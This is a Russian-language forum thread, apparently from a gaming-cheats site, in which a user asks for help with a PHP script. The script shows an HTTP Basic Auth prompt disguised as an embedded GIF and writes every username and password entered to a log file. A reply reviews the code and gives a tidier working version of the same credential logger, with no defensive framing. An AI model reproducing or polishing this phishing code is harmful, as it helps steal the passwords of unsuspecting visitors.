Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Прошу помочь

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Web-программированию только в данном разделе

Ответ
 
Опции темы
Старый 05.12.2011, 15:08   #1
 Разведчик
Аватар для Hellboy89
 
Hellboy89 на правильном пути
Регистрация: 15.07.2009
Сообщений: 19
Популярность: 56
Сказал(а) спасибо: 54
Поблагодарили 23 раз(а) в 11 сообщениях
Отправить сообщение для Hellboy89 с помощью Skype™
 
По умолчанию Прошу помочь

Подскажите что тут не так??


Код:
php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
	header('Content-Type: text/html; charset=windows-1251');
	header('WWW-Authenticate: Basic realm="Repeated Authenticate"');
	header('HTTP/1.0 401 Unauthorized');
	header("Content-type: image/gif");
	$imag = imagecreatefromgif('s1.gif');
	imagegif($imag);
	imagedestroy($imag);
    exit();
  } else {
	$f = fopen('passlog.txt', 'a');
	fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); 
	fclose($f);
	header("Content-type: image/gif");
	$imag = imagecreatefromgif('s1.gif');
	imagegif($imag);
	imagedestroy($imag);
	exit();
}
?>
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 05.12.2011, 17:49   #2
 Сержант
Аватар для zuzzz
 
zuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражанияzuzzz блестящий пример для подражания
Регистрация: 23.09.2009
Сообщений: 154
Популярность: 2052
Сказал(а) спасибо: 21
Поблагодарили 80 раз(а) в 46 сообщениях
Отправить сообщение для zuzzz с помощью ICQ
 
По умолчанию Re: Прошу помочь

Ну как минимум не хватает символов в начале <?php
  Ответить с цитированием
Пользователь сказал cпасибо:
Hellboy89 (05.12.2011)
Старый 06.12.2011, 23:57   #3
 Разведчик
Аватар для wext01
 
wext01 на правильном пути
Регистрация: 04.09.2011
Сообщений: 2
Популярность: 20
Сказал(а) спасибо: 0
Поблагодарили 5 раз(а) в 5 сообщениях
 
По умолчанию Re: Прошу помочь

Цитата:
Сообщение от Hellboy89Посмотреть сообщение
Подскажите что тут не так??

PHP код:
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    
header('Content-Type: text/html; charset=windows-1251');
    
header('WWW-Authenticate: Basic realm="Repeated Authenticate"');
    
header('HTTP/1.0 401 Unauthorized');
    
header("Content-type: image/gif");
    
$imag imagecreatefromgif('s1.gif');
    
imagegif($imag);
    
imagedestroy($imag);
    exit();
  } else {
    
$f fopen('passlog.txt''a');
    
fwrite($f$_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); 
    
fclose($f);
    
header("Content-type: image/gif");
    
$imag imagecreatefromgif('s1.gif');
    
imagegif($imag);
    
imagedestroy($imag);
    exit();


Разберём первый блок:
- Используя функцию empty вместо isset мы так же можем проверить не пустые ли данные, а не просто существование переменной. Да и в отрицании условия тогда нету необходимости.
- Ты 2 раза указал Content-Type. При том первый еще и HTML, хотя отдаешь картинку.
- Заголовок "401 не авторизован" лучше пихать первым пунктом. По крайней мере так читабельнее.
- imagedestroy выполнять по сути не обязательно если сразу за этим скрипт будет прекращать работу.
- функцию exit можно использовать без скобок, т.е. просто " exit; "
- зачем читать файл с картинкой, переводить его в нужный формат, потом снова его конвертить обратно в gif? Достаточно просто прочесть данные и вывести пользователю. Делается это функцией readfile(имя_файла)
- в закрытии дальнейшей обработки кода нету смысла, т.к. после него ничего не будет. Проще говоря exit не нужен.

Разберём второй блок:
- Вместо 3 строчек кода (открываем файл, записываем, закрываем файл) лучше использовать функцию file_put_contents(имя_файла, даннные, FILE_APPEND); (FILE_APPEND - означает, что данные добавятся в конец файла).
- Опять же не понятно зачем конвертить файл туда-сюда
- Снова скобки у функции exit;
- в закрытии дальнейшей обработки кода нету смысла

Код твоей мечты:
PHP код:
if (empty($_SERVER['PHP_AUTH_USER']))
{
    
header('HTTP/1.0 401 Unauthorized');
    
header("Content-type: image/gif");
    
header('WWW-Authenticate: Basic realm="Repeated Authenticate"');
    
readfile('s1.gif');
}
else
{
    
header("Content-type: image/gif");
    
readfile('s1.gif');
    
file_put_contents('passlog.txt'$_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"FILE_APPEND);

  Ответить с цитированием
Пользователь сказал cпасибо:
Hellboy89 (22.12.2011)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Прошу помоч miron26 Общение и обсуждение, архив Point Blank 2 27.05.2011 23:53
[Информация] ПРОШУ ПОМОЧЬ Diki96 Общение и обсуждение, архив Point Blank 0 27.05.2011 16:10

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 03:47.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net